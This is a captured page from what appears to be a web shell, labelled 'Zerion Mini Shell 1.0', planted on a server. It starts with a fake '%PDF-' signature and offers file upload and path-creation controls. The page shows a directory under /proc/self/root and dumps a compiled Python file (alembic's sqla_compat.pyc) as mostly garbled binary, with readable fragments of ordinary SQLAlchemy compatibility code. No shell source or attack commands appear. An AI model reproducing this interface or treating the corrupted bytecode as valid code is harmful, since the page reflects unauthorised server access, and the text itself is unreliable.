%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/alembic/util/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyc

�
�M!Vc@s6ddlZddlmZddlmZmZmZddlmZddlm	Z	m
Z
ddlmZddl
mZddlmZd	d
lmZd�Zegejde�D]Zee�^q��Zed%kZed&kZed'kZed(kZed)kZed*kZed+kZed,kZed-kZed.kZ ed/kZ!ed0kZ"er�ddlm#Z#nddlm$Z#d�Z%d�Z&d�Z'd�Z(d�Z)d�Z*de
j+fd��YZ,ee,�d��Z-d efd!��YZ.ee.�d"��Z/d#�Z0d$�Z1dS(1i����N(t__version__(tForeignKeyConstrainttCheckConstrainttColumn(ttypes(tschematsql(ttraverse(tcompiles(t_BindParamClausei(tcompatcCsyt|�SWn|SXdS(N(tint(tvalue((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyt	_safe_intss
(\d+|[abc]\d)iiii	iiii(t
TextClause(t_TextClausecCs!t|t�r|jS|jSdS(N(t
isinstanceRtparentttable(t
constraint((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyt_table_for_constraint&scCsYt|t�r,g|jD]}|j^qSt|t�rHt|j�St|j�SdS(N(	RRtelementsRRt
_find_columnstsqltexttlisttcolumns(Rtfk((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyt_columns_for_constraint-s

c

Cs�tr/g|jD]}|j|j^q}n"g|jD]}|jj^q9}|jj}|jj}|jdjjj}|jdjjj}g|jD]}|jj^q�}|j	}	|j
}
|j}|j}|||||||
|	||f
S(Ni(
tsqla_100tcolumn_keysRtnameRRRtcolumnRtondeletetonupdatet
deferrablet	initially(
Rtkeytsource_columnstelementtsource_tablet
source_schemat
target_schemattarget_tablettarget_columnsR R!R"R#((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyt_fk_spec6s)""				cCs?tr
|jS|jdk	o:tt|jdd�tj�SdS(Nttarget(Rt_type_boundt_create_ruletNoneRtgetattrtsqltypest
SchemaType(R((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyt_is_type_boundMscCs't�}t|ii|jd6�|S(s2locate Column objects within the given expression.R(tsetRtadd(tclausetcols((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyR]s	cCsat|tj�r5t|tj�}|j|�|St|t�rQt||�St	d��dS(sAa workaround for the Index construct's severe lack of flexibilitys#String or text() construct expectedN(
RR
tstring_typesRR2tNULLTYPEt
append_columnRt_textual_index_elementt
ValueError(Rttext_tc((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyt_textual_index_columnes

R<cBs&eZdZdZd�Zd�ZRS(s�Wrap around a sqlalchemy text() construct in such a way that
    we appear like a column-oriented SQL expression to an Index
    construct.

    The issue here is that currently the Postgresql dialect, the biggest
    recipient of functional indexes, keys all the index expressions to
    the corresponding column expressions when rendering CREATE INDEX,
    so the Index we create here needs to have a .columns collection that
    is the same length as the .expressions collection.  Ultimately
    SQLAlchemy should support text() expressions in indexes.

    See https://bitbucket.org/zzzeek/sqlalchemy/issue/3174/    support-text-sent-to-indexes

    t_textual_idx_elementcCsP||_||_|j|_tj|jjtj�|_|j|j�dS(N(	RttextR$RRR2R:tfake_columnR;(tselfRRB((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyt__init__�s
		cCs
|jgS(N(RC(RD((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pytget_children�s(t__name__t
__module__t__doc__t__visit_name__RERF(((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyR<qs	cKs|j|j|�S(N(tprocessRB(R&tcompilertkw((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyt_render_textual_index_column�st_literal_bindparamcBseZRS((RGRH(((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyRO�scKs|j||�S(N(trender_literal_bindparam(R&RLRM((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyt_render_literal_bindparam�scCs$trt|j�St|j�SdS(N(tsqla_08RtexpressionsR(tidx((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyt_get_index_expressions�s
cCs)gt|�D]}t|dd�^q
S(NR(RUR1R0(RTtexp((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyt_get_index_column_names�s(iii(iii	(iii(iii(iii(ii	i(ii	i(ii	i(ii	i(ii	i	(iii(iii(2tret
sqlalchemyRtsqlalchemy.schemaRRRRR2RRtsqlalchemy.sql.visitorsRtsqlalchemy.ext.compilerRtsqlalchemy.sql.expressionR	tR
R
ttupletfindalltxt_verstsqla_07tsqla_079RRtsqla_083tsqla_084tsqla_09tsqla_092tsqla_094tsqla_099Rtsqla_105RRRRR,R4RR@t
ColumnElementR<RNRORQRURW(((sI/opt/alt/python27/lib/python2.7/site-packages/alembic/util/sqla_compat.pyt<module>sL	.								

Zerion Mini Shell 1.0